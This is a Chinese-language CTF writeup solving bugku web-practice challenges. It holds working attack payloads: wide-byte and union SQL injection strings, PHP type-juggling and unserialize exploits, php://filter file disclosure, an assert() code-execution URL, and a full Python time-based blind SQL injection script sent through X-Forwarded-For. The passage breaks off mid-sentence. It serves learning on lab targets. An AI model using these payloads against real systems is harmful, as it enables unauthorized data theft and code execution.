CTF-練習平臺 writeup web
bugku Web WriteUp
剛剛接觸ctf沒多久,做ctf-練習平臺上的題目,有些新的題目,在網上沒有找到對應的writeup,所以做了之後就想自己寫一個,也順便理理自己的思路。(沒有太多經驗…可能對有些題目的理解還不深刻…)
- 簽到題
加群在公告裡就可以看到flag值了。 - Web2
F12,立馬就看到flag的值了。
檔案上傳測試
題目說是要上傳php檔案,那我們先上傳一個php檔案,頁面提示非圖片檔案;那再上傳一個圖片,就提示說只能上傳php檔案,那這個題目就是要讓我們繞過對檔案型別的檢測,成功上傳一個圖片格式的檔案(題目真正要讓我們上傳的是圖片檔案)。嘗試去修改了http頭中的Content-Type,如下,即繞過檢測,得到flag。
這個題目的檔案檢測方法是:在上傳時先檢測上傳的是不是php檔案,直接檢測了檔案的字尾名是不是.php,如果是就通過了這一步驟的檢測。接下來,是判斷了Content-Type的值,如果是image那就認為是上傳了圖片檔案。伺服器端並沒有對檔案的頭進行檢測,所以上傳檔案實質到底是php還是圖片格式還是其他什麼格式,都是無所謂的。網上的WriteUp都是說要用截斷的方法,通過%00截斷之後,檔案字尾名發生改變來繞過檢測。但是看下面這種情況:
可以看到,在Content-Type不是代表圖片格式檔案的話,%00截斷去繞過是沒有用的。所以真正的檢測檔案型別的方式應該是通過Content-Type,並不是檔案上傳後,儲存到伺服器上的檔案字尾名。
計算題
我們在網頁給出的題目中輸入正確答案,發現輸入框的輸入長度是被限制了的,只能輸入一個數字,那就直接在http頭中修改要上傳的計算結果。或者可以在瀏覽器中修改網頁原始碼,將輸入框的長度限制改為允許輸入多個數字。
- web基礎 $_GET
這是很基礎的題目,就是讓我們熟悉一下前端與後臺傳遞資料的GET方式。
- web基礎 $_POST
使用FireFox的hackbar工具,如圖。當然也可以自己寫一個小的python指令碼去提交post引數。
- 矛盾
題目給出的php程式碼表示,需要get傳遞num值,但是需要它不是數字,然後又要求它是1。這裡用到的知識點是:在PHP中,當數字與字串作比較時,系統會先將字串轉化為數字,再與數字進行比較。所以,這裡就是要構造一個字串,使其轉換為數字之後為1,那就是1後面跟任意的字元(非數字)就可以了(不需要是%00)。比如,num=1fdafdfaf,這樣比較結果是:與1相等。
- Web3
開啟網頁以後就一直在彈框,應該是寫了一堆alert,在一直彈框的情況下看不到網頁原始碼,所以禁止彈框後,F12檢視,發現隱藏的html實體,轉換過來即得到flag。如圖。
sql注入
題目說是sql注入,那就先測試一下。構造id=1'
,訪問發現是沒有錯誤資訊的…那應該是單引號’被轉義過了。這種情況下要用到單引號的payload就都沒辦法起到作用了。這道題真正的思路是寬位元組注入(寄幾想不到)。在GBK編碼時,mysql會認為兩個字元是一個漢字(在前一個位元組的ascii碼大於128的情況下)。而經過轉義之後的單引號’會變為\’,即%5c%27。構造
id=1%df%27%23
,在經過轉義傳遞給mysql時,就是id=1%df%5c%27%23
,mysql在解析時,會認為%df%5c是一個漢字,而%27就會閉合掉原本sql語句中的(左)單引號,即select xxx from xxx where id='%df%5c'#'
,%23用於註釋掉原本sql語句中的(右)單引號。這就是寬位元組注入的原理。那接下來就要構造sql語句,來查詢key表,id=1的string欄位了。構造
id=1%df%27 union select 1,database()%23
,得到資料庫名稱為sql5。
構造
id=1%df%27 union select 1,string from sql5.key where id=1%23
,就得到最終結果。
SQL注入1
題目給出了我們部分程式碼,告訴我們:但凡我們需要用到的關鍵字,它都給過濾掉了。而且這段程式碼中有一個xss過濾的過程…這個函式放在這個sql注入的題目中就很扎眼了…為什麼會突然在sql注入的題目中特別列出一個xss過濾的函式?可以肯定的是,我們要想查詢到key表中id=1的hash欄位值,就必然會用到union、select、from、where,但是題目中過濾掉了,所以就想辦法怎麼讓它繞過這個過濾,然後就想到把html的標籤放到關鍵字中間,拆開一個關鍵字,這個就可以繞過第一步對關鍵字的檢測,而在過濾掉xss後,原本被拆開的關鍵字就又“復原”,我們就可以用起來了。
和上一個題目一樣,先查到資料庫名稱,再找flag。資料庫名稱為sql3。
你必須讓它停下
這道題的名字就叫“你必須讓它停下”,開啟頁面之後,網頁一直在重新整理,切換,我要做的就是讓它可以停下,那想到用BurpSuite抓包,可以直接看到網頁原始碼。
(同一個http頭多提交幾次就可以看到flag了。)
本地包含
題目給出的原始碼中包含了flag.php檔案,我們要找到flag一定就在這個檔案中。val_dump()
把$a列印到頁面中,那我們只要讓$a是flag.php的內容就可以了。所以想辦法構造hello的值。hello=file_get_contents('flag.php')
在原始碼中就可以檢視到flag的值了。這裡用到了file_get_contents
()這個函式。
或者還可以這樣:
hello=1);$file=fopen("flag.php","r");echo fread($file,filesize("flag.php"));fclose($file);//
通過注入的方式來得到flag.php的內容。
變數1
看網頁中顯示的程式碼,首先要對傳遞的args引數進行正則匹配,\w+匹配字母、數字、下劃線,如果匹配不到,那就輸出args error,匹配到就會執行eval("var_dump($$args);");
這裡注意到$$args,這是php的一個特點:變數可以當作另一個變數的變數名。PHP一個比較有意思的變數$GLOBALS:一個包含了全部變數的全域性組合陣列。變數的名字就是陣列的鍵。這個題目就是用到了這個變數。構造args=GLOBALS
- Web4
檢視原始碼,看到原始碼中有ascii碼錶示的字串,解密以後得到對應的程式碼。根據程式碼輸入相應的password輸入即可。(password為67d709b2b54aa2aa648cf6e87a7114f1)
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a)
{
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
- Web5
和上一個題目類似,在原始碼中看到,另一種形式表示的字串,看到其他WriteUp說把這些字串放到goole上console直接就出來了,但是我一直報錯…沒有弄清楚原因在哪裡。 flag在index中
題目告訴我們flag是在index.php中,但是檢視原始碼是沒有flag的,所以應該是被過濾掉了,只有部分原始碼可以檢視到。在原始碼中還發現,<a href="./index.php?file=show.php">click me? no</a>
很像檔案包含。所以構造file=php://filter/read=convert.base64-encode/resource=index.php
將index.php檔案以base64編碼形式輸出,將輸出內容解碼,即檢視到index.php的全部原始碼。如圖。
php://filter/read=<讀鏈需要應用的過濾器列表>/resource=index.php- phpcmsV9
任意檔案上傳漏洞….我是用的騰訊的雲伺服器,在提交引數時提示沒有content欄位….網上說應該是沒有騰訊雲的讀許可權,所以就沒有做這個題目了… - 海洋CMS
這是海洋cms模版的前臺getshell漏洞,構造的payload都是固定的。該模版用了eval函式,並且在用之前沒有足夠的檢測,所以會出現問題。 - 輸入密碼檢視flag
提示說密碼是五位數字,那範圍就是10000-99999,爆破得到結果,密碼為13579。
前女友
首先index.php中點選“連結”之後跳轉到code.txt中,這裡顯示的程式碼表示:要提交3個變數,並且v1、v2兩個字串不相等,但是它們的md5加密值相等,在網上查詢之後發現這兩個字串是QNKCDZO和240610708;傳遞的v3值要與flag相等才可以echo flag,這樣就要想辦法繞過if(!strcmp($v3, $flag))
判斷。用到了php中strcmp這個函式的一個漏洞:當比較物件為字串和陣列時,返回結果一定是0,所以我們只要讓$v3是一個數組就可以了。最終構造payload為
?v1=QNKCDZO&v2=240610708&v3[]=1
(注意是要在訪問index.php時傳遞這些引數)。php中通過在變數後加方括號,使傳入變數為陣列。
- JavaScript
檢視網頁原始碼,js指令碼判斷了clickcount的值,在我們點選次數大於1000000時,會生成一個form表格並post方式自動提交,而且是提交到本頁面,那麼我們就偽造一個這樣的提交就可以了。(提交之後在伺服器端還有一次驗證的,所以提交的clicks值需要滿足clicks>=1000000)
成績單
首先,題目是要讓我們查詢成績,猜測應該是跟sql注入有關係的,先測試一下:分別輸入1
、1'
、1'#
,只有在輸入為1’時,沒有成績顯示,所以這裡是有注入點的,並且伺服器端遮蔽掉了錯誤提示。接下來嘗試union select,分別要得到flag所在的資料庫名、表名、列名。如下圖,構造
' union select database(),database(),database(),database()#
(這裡不能是1' union select database(),database(),database(),database()#
,如果輸入這個語句,發現顯示的內容和直接輸入1
是一樣的,所以這裡應該是伺服器端對頁面顯示進行了限制,只允許輸出一行,而我們構造的查詢database()的結果是在第二行的,所以無法顯示出來。所以我們需要讓我們構造的查詢是在查詢結果中的第一行的。)這樣我們就得到了資料庫名為skctf_flag
接下來,我們要找到skctf_flag資料庫中有幾個表,然後找到和flag相關的表名。分別構造
' union select 1,count(table_name),1,1 from information_schema.tables where table_schema='skctf_flag' #
' union select 1,table_name,1,1 from information_schema.tables where table_schema='skctf_flag' limit 1 offset 0#
,得到這個資料庫中有2個表,兩個表名分別為fl4g、sc。如圖。
接下來就是知道skctf_flag.fl4g這個表中有幾列,列名都是什麼,哪個列是和我們要找的flag有關的。類似地,分別構造' union select 1,count(column_name),1,1 from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g'#
' union select 1,column_name,1,1 from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g' limit 1#
得到該表中只有一個列,列名和資料庫名相同,也為skctf_flag
information_schema這個資料庫是mysql自帶的,它提供了訪問資料庫元資料的方式,即資料庫名或表名,列名等等。這個資料庫包含了一些在sql注入中常用到的表,可以查閱相關資料,瞭解一下。這裡也要注意一下:利用information_schema這個資料庫來查詢某個特定資料庫中所有的表名、某個特定資料庫特定表的所有列名的方法。這個題目不需要編寫python指令碼,很快就可以拿到我們要的結果。
這道題也可以使用sqlmap工具去做,在注入的方式已經很熟悉後,可以直接使用來節省更多時間。下載sqlmap(需要在python2下使用,網上有很多安裝教程),將burp中擷取的http包儲存為.txt檔案,執行對應的sqlmap命令,分別爆庫、爆表、爆列,如下圖。(這裡只用到了幾個簡單的sqlmap命令,其他更多的用法,可以自行學習….emmmm…同在學習過程中)
Web6
題目提示說“我感覺你得再快點”,第一反應是在網頁重新整理過程中,會有一些資訊一閃而過,捕捉不到,所以用burpsuite抓包看一下…雖然跟一開始的猜想不一樣,但是還是得到了有用資訊的。伺服器響應的內容中包含有一個flag欄位值(以’=’結尾,猜想可能是base64編碼的結果),對該欄位值進行解密。可以看到,這個欄位給了我們一個flag…並且這個flag還是base64加密的形式(從末尾的’=’看出來的),再解密一次得到結果。(這裡對應的結果是:74242)
網頁還提示了”now you have to post the margin what you find”,那就是說我要post一個margin值。這裡我嘗試了在原來的http請求頭中加入margin=74242,但是得到的響應結果和之前一樣。看網上的方法:用python寫指令碼,加上會話去訪問、提交。如下圖。(這裡也沒弄清,為什麼使用工具,帶著原本的cookie值去提交margin值不能得到flag。)
cookies欺騙
開啟頁面之後,注意到頁面自動跳轉,url變為
http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
GET方式提交了line和filename兩個變數,而且filename是base64編碼的結果,解碼之後發現此時的filename為keys.txt,猜測line是代表第幾行。那首先想到的就是讓filename是index.php,並且修改line,最終得到的index.php的內容如下:<?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>
理解這段程式碼。我們要做的事情就是通過構造一個cookie,使file_list中包含keys.php,然後申請輸出這個檔案的內容。寫一個小的python指令碼即可。
或者使用burpsuite直接修改http頭,如下。
XSS
題目的意思是讓我們注入一段xss程式碼,這段程式碼中要包含alert(_key_)
,包含成功以後,_key_
會自動替換為我們要的flag
值。頁面中沒有輸入框,所以應該是通過get方式來注入的,試了一下
id=1
,發現頁面中出現了一個1(我也不知道為什麼正好嘗試了id這個欄位名)….這個時候再看網頁原始碼,發現有一段js程式碼很關鍵,頁面中顯示出來的1就是通過這段程式碼中的document.getElementById('s').innerHTML = s;
來實現的。整個流程應該是:通過get方式傳遞的id欄位值給了js程式碼中的s變數,js又通過這一變數改變了網頁中的
id='s'
的標籤的內容。那我們傳遞了什麼內容,頁面就應該會顯示什麼內容。所以構造如下xss程式碼:發現我們輸入的程式碼並沒有被認為是程式碼從而執行,而是以文字的形式顯示在了頁面中。檢視網頁原始碼,發現在js程式碼中,
<
、>
都是以html實體形式存在的,那應該是傳遞給js的id值是通過html轉義了的。這裡用\u003c
、\u003e
來分別代替(js程式碼對尖括號的轉義方式)。結果如下:never give up
開啟頁面之後,就顯示了一句話啥也沒,所以F12檢視原始碼,看到有1p.html提示,訪問一下發現會直接跳轉到www.bugku.com,那我們用burpsuite抓包看一下這中間還有什麼過程。抓包結果如下:(我抓包抓到的結果一直都是1p.html請求訪問www.bugku.com,後來是在burpsuite的target選項卡下看到的)可以看到response中有一段字串,對其進行urldecode,發現其中包含一段base64編碼的字串,再對這部分字串進行解密,再urldecode,(這裡都是根據我們所看到的字串的形式來決定對其進行哪種形式的解密的),最終得到一段php程式碼,如下:
<?php if(!$_GET['id']) { header('Location: hello.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'no no no no no no no'; return ; } $data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("f4l2a3g.txt"); } else { print "never never never give up !!!"; } ?>
根據要求來構造相應的引數值。得到flag。
$data = @file_get_contents($a,'r');
這裡利用了file_get_contents()
函式的特性:當用到php://input
時,file_get_contents()
支援位元組流輸入。只要將a設為php:input
,且post過去bugku is a nice plateform!
,就可以給data賦相應值。程式碼中,對id的判斷也存在前後矛盾的地方,所以這裡利用了之前提到的php字串和數字比較時的特點來繞過這一驗證。
eregi()
函式在一個字串搜尋指定的模式的字串。並且這個函式會對%00截斷。而strlen()
函式是不會截斷%00。根據這一特性,繞過驗證。這道題目中,也可以直接去訪問
f4l2a3g.txt
這個檔案。welcome to bugku
開啟頁面,F12檢視原始碼發現有檔案包含,而且在包含檔案之前有一個驗證,有了上一個題目的經驗,我們就可以很快寫出繞過這個驗證的payload。(利用file_get_contents()
這個函式的特性。直接file=index.php得不到結果,所以想到使用php://filter。)對頁面出現的字串進行base64解密,我們就可以得到index.php的原始碼。如下:
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能現在就給你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
讀完之後$password = unserialize($password);
是可以引起我們的注意的。
unserialize()
函式對單一的已序列化的變數進行操作,將其返回PHP的值。若被解序列化的變數是一個物件,返回的值就是object型別。另外,這裡限制了不允許直接包含名稱中含有flag的檔案。
分析完index.php,再將hint.php中的程式碼也拿到,如下:
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
這裡定義了一個類,類中包含__tostring()
函式,用兩個下劃線來定義的事件,都是在引用類時,自動呼叫的。在函式中可以包含檔案,並且對包含檔案的檔名沒有限制。另外,我們可以知道我們要的flag就在flag.php中,所以我們就是要想辦法呼叫__tostring()
這個函式,讓它包含flag.php檔案。那就是要想辦法引用Flag這個類。前面說到 unserialize()
如果被解序列化的變數是一個物件,那它的返回值就是一個物件,而且在我們這個程式碼中,還會echo這個物件,那echo的過程,就是引用這個物件的過程,我們就可以利用這個,來呼叫__tostring()
函式。所以我們需要根據Flag類來給password傳遞一個合適的序列化變數。構造如下:
- login1
題目提示是基於約束的sql攻擊,我參考了下面這篇文章。
裡面介紹了基於約束的sql攻擊的原理。對於這道題,註冊使用者名稱為admin '
的帳號,然後以admin+密碼登入,就可以以管理員的身份登入,從而拿到flag。(可以在本地資料庫測試文章中提到的sql語句,使理解更深刻。)
過狗一句話
題目給出的提示內容很容易理解。那我們就是要構造一些程式碼,通過assert()
執行,從而得到結果。(這類情況一般都是用phpinfo()
函式來測試是否能執行任意函式的。)http://120.24.86.145:8010/?s=print_r(glob("*"))
http://120.24.86.145:8010/?s=show_source("flag.txt")
glob("*")
可以讀取檔案列表。show_source()
高亮顯示檔案內容。maccms-蘋果cms
appcms
小明的部落格
各種繞過喲
題目給出的程式碼很容易理解,就是要找到兩個字串,兩者不相等,但是兩者經過sha1()
函式後卻是相等的。之前題目有讓我們找兩個不相等,但是md5()之後是相等的字串,我們是找了一對兒特殊的字串來繞過驗證的。這個題目,是利用了
sha1()
函式的漏洞:其無法處理陣列型別,會報錯並返回false,這樣,當我們使passwd和uname均為陣列時,就可以繞過驗證。Web8
還是利用之前提到的file_get_contents()
函式的特性。字元?正則?
題目很簡單,就是根據給出的正則表示式構造一個字串,通過驗證。關於正則表示式的介紹,我覺得下面這篇文章不錯。
“.”匹配除了換行符以外的任何字元
“*”(貪婪) 重複零次或更多
“{n,m}” 重複n到m次
“\/” 代表“/”
“[[:punct:]]” 匹配任意標點符號
“/i” 代表大小寫不敏感考細心
開啟頁面之後什麼也沒有,提示找不到…在網上找到思路說要掃描網站。我在這裡使用了dirsearch工具,掃描結果如下:有index.php和robot.txt兩個檔案。訪問robot.txt檔案,又給我們提示了resusl.php檔案,訪問,它告訴了我們一句程式碼:
看到頁面顯示的ip地址,還以為是跟偽造ip什麼的有關係…那句程式碼提示我們要提交一個x值,而題目還提示我們要想辦法變成admin,所以提交
x=admin
。(感覺這個題目的提示還是很委婉的,有點懵逼。)php程式碼審計
求getshell
題目說要上傳一個圖片檔案,而不是php檔案,那首先按要求上傳一個圖片檔案,發現上傳成功後,圖片被儲存到伺服器端,並且給出連結地址,可以直接訪問。所以就想著,可以繞過檔案檢測, 成功上傳一個一句話木馬(php檔案)到伺服器中….上傳成功,就可以得到flag(這裡無所謂上傳的php檔案內容是什麼,只要上傳成功php檔案,就可以拿到)。通過修改Multipart/form-data,來繞過waf的檢測,這裡還要知道一些php的別名。正確答案的思路…..如下:
flag.php
題目提示hint,嘗試?hint=0
,即檢視到了原始碼。理解原始碼,我們要做的事情就是使得unserialize($cookie) === "$KEY"
成立(“===”代表不僅要判斷值相等,還要判斷型別相等)。那就是要讓cookie值是key的序列化就可以了。看到原始碼最下方還有
$KEY='ISecer:www.isecer.com'
,構造了這個字串的反序列化,然後放到cookie中提交…但是沒有結果….後來仔細閱讀原始碼,發現給$KEY
賦值是在最後一個else中執行的,也就是說,$KEY
其實是為空的,所以真正的反序列化為s:0:""
(提示hint,竟然是在提交變數時用到的….還有ISecer,是大寫的S,剛開始一直粗心寫成是Isecer….)
- web15
提示我們寫python指令碼,給出的程式碼很好理解,可能有問題的地方很容易猜到,就是在將ip值插入到資料庫中的時候。正確解題思路是基於時間的盲注,那我們就要構造X-FORWARD-FOR。
首先,找到資料庫的名稱。程式碼如下:
import requests
import string
guess = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
url = "http://120.24.86.145:8002/web15/index.php"
def findDatabase():
answer = ''
for i in range(1,50):
flag = 0
for j in guess:
data = "' + (select case when (substring((select database()) from %d for 1))='%s' then sleep(5) else 1 end) and '1'='1"%(i,j)
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = 4)
except:
flag = 1
answer += j
print(answer)
break
if flag == 0:
break
print("資料庫名為:" + answer)
if __name__ == '__main__':
findDatabase() #最終輸出結果為web15
print("OVER")
然後找web15
資料庫中表的個數。程式碼如下:
def findTableNum():
for i in range(1,50):
data = "' + (select case when (select count(table_name) from information_schema.tables where table_schema='web15')=%d then sleep(5) else 1 end) and '1'='1"%(i)
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = 4)
except:
flag = 1
print(i)
break
print("表的個數為:")
print(i)
然後找出這兩個表的名稱,看哪個是和flag相關的。程式碼如下:
def findTableName():
for i in range(0,2):
answer = ''
for j in range(1,50):
flag = 0
for k in guess:
data = "' + (select case when (substring((select table_name from information_schema.tables where table_schema='web15' limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,j,k)
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = 4)
except:
flag = 1
answer += k
print(answer)
break
if flag == 0:
break
print("表名為:" + answer)
得到的表名為client_ip、flag。那我們就再找到flag這個表中的列,裡面儲存的應該就是我們要的flag值了。
類似地,尋找列數,再分別找到列名。程式碼如下:
def findColumnNum():
for i in range(1,50):
data = "' + (select case when (select count(column_name) from information_schema.columns where table_schema='web15' and table_name='flag')=%d then sleep(5) else 1 end) and '1'='1"%(i)
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = 4)
except:
flag = 1
print(i)
break
print("列的個數為:")
print(i)
def findColumnName():
for i in range(0,1):
answer = ''
for j in range(1,50):
flag = 0
for k in guess:
data = "' + (select case when (substring((select column_name from information_schema.columns where table_schema='web15' and table_name='flag' limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,j,k)
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = 4)
except:
flag = 1
answer += k
print(answer)
break
if flag == 0:
break
print("列名為:" + answer)
這個表中只有一個列,列名為flag。接下來就是查詢web15資料庫中的flag表中flag列的值了。程式碼如下:
def findFlag():
answer = ''
for i in range(1,50):
flag = 0
for j in guess:
data = "' + (select case when (substring((select flag from web15.flag limit 1 offset 0) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,j)
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = 4)
except:
flag = 1
answer += j
print(answer)
break
if flag == 0:
break
print("flag為:" + answer)
最終執行的結果是:flag{cdbf14c9551d5be5612f7bb5d2867853}
整個過程就是這樣,最關鍵的就是每一個data
怎麼構造。要很好地理解基於時間注入的原理,理解這裡用到的sql語句的作用。(在網上有很多介紹的帖子,先看清楚整體的原理,然後再理解具體的sql語句的作用。(我是這樣做的…之前沒怎麼接觸過sql語句,第一次看的時候還是很懵逼的。)
1. select case when xxx then yyy eles zzz end
這個語句是要判斷xxx是否正確,正確則執行yyy,錯誤就執行zzz。
2. data中的 and '1'='1 作用是閉合了原本values('$ip') 中的右引號,不加的話,sql語句就是錯誤的。(可以在本地資料庫中測試insert into user values('1' + (select case when 1=0 then 2 else 3 end)),最終插入的結果是4。)
3. 這裡還用到了之前提到過的 如何查詢特定資料庫中的表名 如何查詢特定資料庫、特定表的列名。這樣比起找整個伺服器上所有的資料庫、表、列要簡單很多。
4. sql注入語句的構造,都是很類似的,有一些函式是常用到的,見到以後要多積累,真正理解。
5. 這應該是我第三次看基於時間的sql注入型別的題目,感覺比起第一次理解的深刻太多了。繼續進步!
檔案包含2
實戰2-注入
這個題目給了我們一個實際的網站(所以叫實戰嘛~),告訴我們flag就是資料庫的最後一個表名字,那我們可以猜測這裡是有sql注入的…剛開始我嘗試了在contacts裡面注入(因為這裡有可以提交內容的地方…),無果….然後就goole了一下這個網站的被曝出的漏洞,就發現了一個已經寫好的payload,就是說找到了注入點。如下:首先我理解了一下goole到的這個payload是怎麼完成攻擊的:網站並沒有遮蔽掉sql的錯誤提示資訊,所以當輸入
id=4"><marquee><h1>hacked%20by%20-MR_0p3nx-</h
時,由於sql語句錯誤,就會在頁面上顯示報錯資訊,並且這個資訊沒有經過任何處理,那錯誤資訊中包含的html標籤就被當作是程式碼來處理了…就完成了攻擊。那我接下來就在這個頁面,通過id來進行注入了。
首先測試
id=4
id=4'
id=4'%23
,發現只有在id=4
時不會出錯…根據其他兩個的報錯資訊,猜測在原本的sql語句中,4是沒有用單引號或者雙引號括起來的(出現錯誤提示,有可能是引號被轉義過了…但是在錯誤提示中引號是直接顯示的,並沒有經過轉義,所以猜測原sql語句並沒有使用引號)。那再構造id=4 union select table_name from information_schema.tables
,提示列數不對應…經過測試,正確的payload為:id=4 union select 1,2,3,table_name,4 from information_schema.tables
,所以的資料庫表名稱就都顯示在頁面中了,如下:這個題目做起來還是很快的…只是最開始的時候會不知道從哪裡入手,找到注入點之後就會簡單很多,跟之前做過的sql注入都是一樣的套路。
這是一個神奇的登陸框
題目說這是一個神奇的登陸框…emmmmm…我試了好多次也不知道這個神奇在哪裡,一直都沒有找到攻擊的點。做出來這個題目也是比較湊巧….我先是假設了使用者名稱是admin,然後在burpsuite爆破了一下,發現在密碼為pong%%88時,伺服器響應的內容不一樣。然後在瀏覽器中輸入,看到如下結果:這個頁面終於有不一樣的地方出現了!!!有報錯資訊!!!剛開始注意力一直集中在這個報錯資訊上….沒什麼想法(其實這個報錯資訊跟解題就沒關係)….然後就突然想到既然錯誤資訊會回顯,那我就可以基於報錯來sql注入啊~然後構造了
admin_name=admin&admin_passwd=aa” union select database(),1#&submit=GO+GO+GO
(當然 select 兩列是試出來的,admin_name和admin_passwd都是注入點,在任一個注入都可以。)
得到了資料庫的名稱:bugkusql1 。(這個Login_Name也迷惑我了…剛開始一直以為Login_Name真的是登入名…怪我太年